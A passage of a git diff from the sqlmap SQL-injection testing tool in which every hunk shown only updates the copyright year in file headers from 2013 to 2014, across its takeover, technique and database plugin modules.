a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 3dda0da84..d29a71e37 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index beb670f15..ab66758d5 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 565926514..df0453d19 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index ba6b07e3a..e8ffe746f 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index d933ffbc5..68741be22 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/brute/__init__.py b/lib/techniques/brute/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/techniques/brute/__init__.py +++ b/lib/techniques/brute/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/brute/use.py b/lib/techniques/brute/use.py index 6ba0ae808..92f95f465 100644 --- a/lib/techniques/brute/use.py +++ b/lib/techniques/brute/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 260849bca..96c78f700 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index f1963771b..85ffab5ff 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 8256d5c24..070c573b5 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 48325b444..fdf87ea7d 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index c3e4be8f4..eea95e7e7 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/api.py b/lib/utils/api.py index 1e946ce53..7d1aafa3a 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index ffccf67da..07860ff87 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/deps.py b/lib/utils/deps.py index c3ddda122..b0184d911 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 65a54e147..13f03fdb0 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/google.py b/lib/utils/google.py index b17508697..e675aa1af 100644 --- a/lib/utils/google.py +++ b/lib/utils/google.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/hash.py b/lib/utils/hash.py index df0916b25..6db923d25 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 84dec33bf..9a29615cb 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/htmlentities.py b/lib/utils/htmlentities.py index 0304cddc9..457f461f9 100644 --- a/lib/utils/htmlentities.py +++ b/lib/utils/htmlentities.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index fe1bf2b4d..6e5837839 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/progress.py b/lib/utils/progress.py index ebe74845b..e11e6283e 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 64457109a..d35fcd1f1 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index 5d41708f3..2fba10bab 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index f6e57d9af..a348fca34 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 96da0efa1..142d50a56 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/__init__.py b/plugins/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index 4df52f812..cec2df231 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index ba8870cfd..4d84f02c1 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 51e9d20fd..d80cb9867 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index bb0ea1d2c..f373f84db 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 057c61bd3..4b1244d0b 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index 0e7184081..bd7bf3251 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index 315abc77a..5370fe610 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index 61494a9cd..afcdd7aae 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index 1df06c9ea..798df4122 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index a7d783263..b09e64003 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 8df147edb..5b548de7c 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 65755745f..59eba684c 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 7aeaac22e..403d20a0b 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index 1c1b36d3f..0146b4c7f 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index 82920d103..2772a1813 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index b8a2a6bcb..6d153dc5c 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 16e444b8a..9a3713743 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index da8fc26ed..a33886659 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index cc027c601..9c22a4708 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index 695a4598d..6bc000fc5 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 7f34eb12f..7ebfc4217 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index acd7cb85f..fa7a4265f 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 15d1e49e5..ed5c8b108 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index d9a60def2..43122d61f 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index 4d945835a..9bb30d4b3 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 4e72e9dde..ecc194633 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index c0b934359..e465100fe 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index d2c8eacfe..e8e87336a 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 57cd31334..70259d523 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index b05bf8a6d..adf4a75c9 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index 80fab44e3..1a784d5a0 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index e679a8cd1..89346627d 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index c808e6d6b..60a391448 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index f1ac416f0..ff0b61602 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index b6914b71c..45d0eca93 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index 7dee4fe98..d5eb669c8 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 0b39b1417..e935eef84 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ 